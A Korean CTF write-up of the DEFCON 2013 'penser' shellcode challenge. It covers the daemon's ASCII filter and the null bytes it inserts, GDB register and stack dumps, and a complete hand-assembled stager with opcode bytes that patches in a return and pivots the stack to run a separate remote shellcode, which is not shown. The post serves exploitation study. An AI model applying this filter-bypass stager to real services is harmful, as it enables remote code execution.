본문 바로가기

Games/CTF

DEFCON 2013 penser writeup

400점짜리 쉘코드 문제이다. 

64비트 ELF 바이너리가 주어진다. IDA 로 분석해보면 Fork-Accept 를 수행하는 데몬이다.


Client Handler 함수를 보면 처음에 4 바이트를 recv 한다.




recv 한 4바이트의 값이 4096 이하이어야 한다.



그리고 recv 한 값만큼 malloc 을 한다.



그리고 recv 한 값만큼 다시 recv 하고, 이를 mmap 으로 생성한 RWX 권한이 있는 메모리공간에 memcpy 한다.

여기서 mmap 으로 확보된 메모리공간은 recv 한 데이터의 2배의 크기이다.  그리고나서 mmap 으로 생성한 버퍼와

recv 한 버퍼, 그리고 각각의 사이즈를 어떤 함수로 넘긴다(my_something)



my_something 함수를 살펴보면 처음에 기본적으로 buffer 가 NULL 인지, size 가 0 인지 등의 체크를 하고 그다음부터는 다음 작업들을 한다.

먼저 실행권한이 있는 mmap 버퍼의 내용을 0 으로 memset 해버린다.



그리고 0 으로 초기화된 카운터변수가 recv 했던 값이 될때까지 1씩 증가하면서 아래의 루프를 수행한다.



정리하자면 recv 버퍼의 내용을 다시 mmap 버퍼로 1바이트씩 복사하는데, 여기서 바이트의 범위가 ASCII 코드의 범위일때까지만 복사를 해주고, 또한 mmap 쪽 버퍼의 인덱스는 2씩 증가하기때문에 결과적으로 recv 버퍼의 내용이 유니코드처럼 0 이 끼게 되면서 복사된다.

이 작업을 인덱스가 size 와 같아지거나 recv 버퍼에 NULL 있을때까지 수행한뒤에, 이렇게 ASCII 필터링되고 유니코드화 된 쉘코드를 아래와같이 CALL 해준다.



유니코드화 된 쉘코드가 정상적인 리모트 쉘코드의 역할을 하게 만드는것은 거의 불가능해보였다.  여기서 바이너리는 NX 가 걸려있지 않았기 때문에 malloc 으로 생성된 recv 버퍼에도 실행권한이 들어가 있는것을 GDB 로 디버깅하면서 /proc/pid/maps 를 통해 확인하였다.

이제 시나리오는 유니코드 쉘코드가 recv 버퍼에 있는 오리지널 리모트 쉘코드를 호출하도록 만드는 것이다.


일단 유니코드 쉘코드가 실행될 당시의 레지스터 Context 와 스택을 상황을 생각해봐야 했다.

쉘코드 호출 전의 상황을 어셈블리로 다시 잘 살펴보자.



쉘코드가 실행되기 전의 어셈블리코드를 다시 잘 생각해보면 일단 RDX 레지스터가 쉘코드의 시작주소를 가리키고 있을것이고

EAX 는 반드시 0인 상태일 것이다.  그런데 쉘코드 호출 직전의 free 명령에서 recv 버퍼를 해제할때, recv 버퍼의 주소가 RDI 에 들어가있었다.  free 로 메모리를 해제한 직후에는 그 내용이 그대로 남아있을 것이므로 우리는 RDI 레지스터가 recv 버퍼의 내용을 그대로 가리키고 있으리라 예상하였는데 GDB 로 확인해본 결과 아래와 같이 free 가 이 레지스터를 0 으로 바꿔버렸다.


Breakpoint 2, 0x0000000000401226 in ?? ()

(gdb) i r

rax            0x0 0

rbx            0x0 0

rcx            0x0 0

rdx            0x7ffff7ff6000 140737354096640

rsi            0x1 1

rdi            0x0 0

rbp            0x7fffffffe060 0x7fffffffe060

rsp            0x7fffffffe020 0x7fffffffe020

r8             0x0 0

r9             0x300000 3145728

r10            0x7fffffffddc0 140737488346560

r11            0x7ffff7a959b0 140737348458928

r12            0x400f80 4198272

r13            0x7fffffffe1e0 140737488347616

r14            0x0 0

r15            0x0 0

rip            0x401226 0x401226

eflags         0x206 [ PF IF ]

cs             0x33 51

ss             0x2b 43

ds             0x0 0

es             0x0 0

fs             0x0 0

gs             0x0 0


그런데 쉘코드 호출당시의 스택을 뒤져보니 RSP+0x20 에 고정적으로 recv 버퍼의 주소가 존재한다는것을 용일이형이 발견하셨다.


(gdb) x/10x $rsp

0x7fffffffe018: 0x00401228 0x00000000 0xffffe060 0x00007fff

0x7fffffffe028: 0x00000000 0x00000008 0x00001000 0x00000000

0x7fffffffe038: 0x00606a90 0x00000000

(gdb) 


그렇다면 이제 유니코드 쉘코드가 recv 버퍼 + x 를 호출하도록 만들고 그 곳에 정상적인 리모트쉘코드를 준비해 놓으면 리모트쉘코드의 실행이 가능할 것이다.  먼저 유니코드 쉘코드로 구성할수 있는 명령어들을 조사해봤다. 아스키코드의 범위만 가능하기 때문에 리턴이나 inc, dec, xchg 등의 명령도 모두 사용할 수 없다. 오직 레지스터들에 대한 push/pop 연산, 그리고 아래와 같은 00 으로 시작하는 명령들이 전부였다.


   0x7ffff7ff6036: add    %bl,(%rax,%rax,1)

   0x7ffff7ff6039: sbb    $0x1f001e00,%eax

   0x7ffff7ff603e: add    %ah,(%rax)

   0x7ffff7ff6040: add    %ah,(%rcx)

   0x7ffff7ff6042: add    %ah,(%rdx)

   0x7ffff7ff6044: add    %ah,(%rbx)

   0x7ffff7ff6046: add    %ah,(%rax,%rax,1)

   0x7ffff7ff6049: and    $0x27002600,%eax

   0x7ffff7ff604e: add    %ch,(%rax)

   0x7ffff7ff6050: add    %ch,(%rcx)

   0x7ffff7ff6052: add    %ch,(%rdx)

   0x7ffff7ff6054: add    %ch,(%rbx)

   0x7ffff7ff6056: add    %ch,(%rax,%rax,1)

   0x7ffff7ff6059: sub    $0x2f002e00,%eax

   0x7ffff7ff605e: add    %dh,(%rax)

   0x7ffff7ff6060: add    %al,(%rax)

   0x7ffff7ff6062: add    %dh,(%rcx)

   0x7ffff7ff6064: add    %dh,(%rdx)

   0x7ffff7ff6066: add    %dh,(%rbx)

   0x7ffff7ff6068: add    %dh,(%rax,%rax,1)

   0x7ffff7ff606b: xor    $0x37003600,%eax

   0x7ffff7ff6070: add    %bh,(%rax)

   0x7ffff7ff6072: add    %bh,(%rcx)

   0x7ffff7ff6074: add    %bh,(%rdx)

   0x7ffff7ff6076: add    %bh,(%rbx)

   0x7ffff7ff6078: add    %bh,(%rax,%rax,1)

   0x7ffff7ff607b: cmp    $0x3f003e00,%eax

   0x7ffff7ff6080: add    %al,0x0(%rax)

   0x7ffff7ff6083: add    %al,0x0(%r10)

   0x7ffff7ff6087: add    %al,0x45(%r8,%r8,1)

   0x7ffff7ff608c: add    %al,0x0(%rsi)

   0x7ffff7ff608f: rex.RXB add %r9b,0x0(%r8)

   0x7ffff7ff6093: rex.WB add %cl,0x0(%r10)

   0x7ffff7ff6097: rex.WXB add %cl,0x4d(%r8,%r8,1)

   0x7ffff7ff609c: add    %cl,0x0(%rsi)

   0x7ffff7ff609f: rex.WRXB add %r10b,0x0(%r8)

   0x7ffff7ff60a3: push   %rcx

   0x7ffff7ff60a4: add    %dl,0x0(%rdx)

   0x7ffff7ff60a7: push   %rbx

   0x7ffff7ff60a8: add    %dl,0x55(%rax,%rax,1)

   0x7ffff7ff60ac: add    %dl,0x0(%rsi)

   0x7ffff7ff60af: push   %rdi

   0x7ffff7ff60b0: add    %bl,0x0(%rax)

   0x7ffff7ff60b3: pop    %rcx

   0x7ffff7ff60b4: add    %bl,0x0(%rdx)

   0x7ffff7ff60b7: pop    %rbx

   0x7ffff7ff60b8: add    %bl,0x5d(%rax,%rax,1)

   0x7ffff7ff60bc: add    %bl,0x0(%rsi)

   0x7ffff7ff60bf: pop    %rdi

   0x7ffff7ff60c0: add    %ah,0x0(%rax)

   0x7ffff7ff60c3: (bad)  

   0x7ffff7ff60c4: add    %ah,0x0(%rdx)

   0x7ffff7ff60c7: movslq (%rax),%eax

   0x7ffff7ff60c9: add    %ah,%fs:0x0(%rbp)

   0x7ffff7ff60cd: data16

   0x7ffff7ff60ce: add    %ah,0x0(%rdi)

   0x7ffff7ff60d1: pushq  $0x6a006900

   0x7ffff7ff60d6: add    %ch,0x0(%rbx)

   0x7ffff7ff60d9: insb   (%dx),%es:(%rdi)

   0x7ffff7ff60da: add    %ch,0x0(%rbp)

   0x7ffff7ff60dd: outsb  %ds:(%rsi),(%dx)

   0x7ffff7ff60de: add    %ch,0x0(%rdi)

   0x7ffff7ff60e1: jo     0x7ffff7ff60e3

   0x7ffff7ff60e3: jno    0x7ffff7ff60e5

   0x7ffff7ff60e5: jb     0x7ffff7ff60e7

   0x7ffff7ff60e7: jae    0x7ffff7ff60e9

   0x7ffff7ff60e9: je     0x7ffff7ff60eb

   0x7ffff7ff60eb: jne    0x7ffff7ff60ed

   0x7ffff7ff60ed: jbe    0x7ffff7ff60ef

   0x7ffff7ff60ef: ja     0x7ffff7ff60f1

   0x7ffff7ff60f1: js     0x7ffff7ff60f3

   0x7ffff7ff60f3: jns    0x7ffff7ff60f5

   0x7ffff7ff60f5: jp     0x7ffff7ff60f7

   0x7ffff7ff60f7: jnp    0x7ffff7ff60f9

   0x7ffff7ff60f9: jl     0x7ffff7ff60fb

   0x7ffff7ff60fb: jge    0x7ffff7ff60fd

   0x7ffff7ff60fd: jle    0x7ffff7ff60ff

   0x7ffff7ff60ff: jg     0x7ffff7ff6101


레지스터 PUSH/POP 과 위의 명령어만을 조합하여 뭘 얼마나 할수있을까 회의감이 들어서 거의 포기하고 있었는데 해은형님이 결정적으로 해법을 찾아주셨다. 먼저 유니코드 쉘코드는 레지스터 PUSH/POP 을 할 수 있기때문에 레지스터간의 값의 이동이 자유롭다.

예를들어 RAX 레지스터의 값을 RBX 로 복사하고 싶다면 PUSH RAX; POP RBX; 를 실행하면 된다.

그리고 00 으로 시작하는 명령어들중 아래의 것들이 활용가능하다.


0x7ffff7ff606b: xor    $0x37003600,%eax

0x7ffff7ff6070: add    %bh,(%rax)


레지스터에 임의의 값을 XOR 시킬수는 없어도 첫번째와 3번째 바이트가 0 인 상수는 XOR 시킬 수 있다. 그리고 ah, bh, ch 등의 레지스터를 RAX 가 가리키고 있는 메모리위치에 ADD 할 수 있다. 이를 잘 활용하면 특정 레지스터의 2번째 바이트에 원하는 숫자(명령어) 를 세팅시키고 해당 바이트를 특정한 메모리 위치에 write 할 수 있다. 만약 bh 에 0xC3 (return) 을 세팅시킬 수 있고 RAX 에 RDI + 상수 를 세팅시킬 수 있다면 유니코드쉘코드가 실행도중에 스스로 나중에 리턴이 되도록 코드패칭을 할 수 있다.  또한 유니코드쉘코드가 어찌되었든 리턴만 해준다면

RSP 를 recv 버퍼 + 상수 의 메모리위치를 가리키도록 세팅하면 최종적으로 리모트 쉘코드를 호출할 수 있다.

너무나도 복잡하지만 결과적으로 이 모든 시나리오가 아래와 같이 가능했다...


# bh 에 리턴가젯을 준비시킴.

xor $0x20002000, %eax        # EAX: 20002000

sub $0x30003000, %eax        # EAX: EFFFF000

xor $0x33003300, %eax        # EAX: DCFFC300

push %rax

pop %rbx                            # EBX: DCFFC300.  BH 레지스터에 C3 가 들어감.


# 유니코드 쉘코드 시작주소를 RAX 에 가져옴

push %rdx

pop %rax                             # 쉘코드의 시작주소를 가져옴

push %rax                             # 주소를 스택에 PUSH

push %rsp                             # 주소의 주소를 스택에 PUSH

pop %rax                             # 주소의 주소를 RAX 로 가져옴

add %bh, (%rax)             # 스택에 박힌 쉘코드의 시작주소를 c3 만큼 증가시킴

pop %rdx                     # 증가된 쉘코드의 시작주소를 RDX 로 꺼냄


# 유니코드 쉘코드 + 0xC3 위치에 리턴가젯을 삽입

add %bh, (%rdx)


# 버퍼 주소를 RAX에 가져옴.

pop %rax

pop %rax

pop %rax

pop %rax

pop %rax                            # 이 시점에서 RAX 에 recv 버퍼의 주소가 들어감.


# RAX 를 RSP 에 세팅

push %rax

pop %rsp


# RSP 를 112 만큼 증가시키고 해당 주소를 다시 RSP 가 가리키게 함.

pop %rcx

pop %rcx

pop %rcx

pop %rcx

pop %rcx

pop %rcx

pop %rcx

pop %rcx

pop %rcx

pop %rcx

pop %rcx

pop %rcx

pop %rcx

push %rsp


# 유니코드 NOP SLED 를 탈수있도록 RAX 에 유효한 메모리주소 세팅.

push %rbp

pop %rax


# 이제부터 리턴되기를 대기!!


이렇게 한땀한땀 정성들여 만든 어셈블리 코드들을 사이사이에 0 이 낄수 있도록 적당한 NOP SLED 역할을 할 수 있는 명령과 함께 생성해서 다음과 같이 GDB 로 출력한다


Dump of assembler code for function main:

   0x0000000000401110 <+0>: 35 00 20 00 20 xor    $0x20002000,%eax

   0x0000000000401120 <+16>: 00 6d 00 add    %ch,0x0(%rbp)

   0x0000000000401115 <+5>: 2d 00 30 00 30 sub    $0x30003000,%eax

   0x0000000000401120 <+16>: 00 6d 00 add    %ch,0x0(%rbp)

   0x000000000040111a <+10>: 35 00 33 00 33 xor    $0x33003300,%eax

   0x0000000000401120 <+16>: 00 6d 00 add    %ch,0x0(%rbp)

   0x000000000040111f <+15>: 50         push   %rax

   0x0000000000401120 <+16>: 00 6d 00 add    %ch,0x0(%rbp)

   0x0000000000401123 <+19>: 5b         pop    %rbx

   0x0000000000401124 <+20>: 00 6d 00 add    %ch,0x0(%rbp)

   0x0000000000401127 <+23>: 52         push   %rdx

   0x0000000000401128 <+24>: 00 6d 00 add    %ch,0x0(%rbp)

   0x000000000040112b <+27>: 58         pop    %rax

   0x000000000040112c <+28>: 00 6d 00 add    %ch,0x0(%rbp)

   0x000000000040112f <+31>: 50         push   %rax

...


기계어 코드들만 추출하면 다음과 같이 나온다


35 00 20 00 20 00 6d 00 2d 00 30 00 30 00 6d 00 35 00 33 00 33 00 6d 00 50 00 6d 00......


00 을 모두 제거해주고 최종적으로 유니코드 쉘코드와 recv 버퍼상에서 그 뒤에 붙을 리모트쉘코드를

NOP SLED 들과 함께 작성해주면 아래와 같이 된다.


final exploit.

(유니코드 쉘코드 -> RDX 기준으로 자기자신의 코드에 리턴가젯이 들어가도록 패칭하고 ESP 를 조절해서 오리지널 리모트쉘코드로 리턴)


수차례의 디버깅끝에 로컬에서 성공하자 대회서버에서도 바로 성공했다.



스매시더스택 최고난이도문제와 비슷한 난이도인것 같다..

풀이시간은 10시간 이상 걸렸고 팀원 형님들의 도움없이 혼자서는 못풀었을것 같다...



'Games > CTF' 카테고리의 다른 글

HDCON2013 final cft2  (10) 2013.10.31
Whitehat Contest - Pybox  (5) 2013.09.23
HDCON 2013 level5  (8) 2013.06.11
HDCON 2013 level4  (0) 2013.06.11
HDCON 2013 level3  (0) 2013.06.11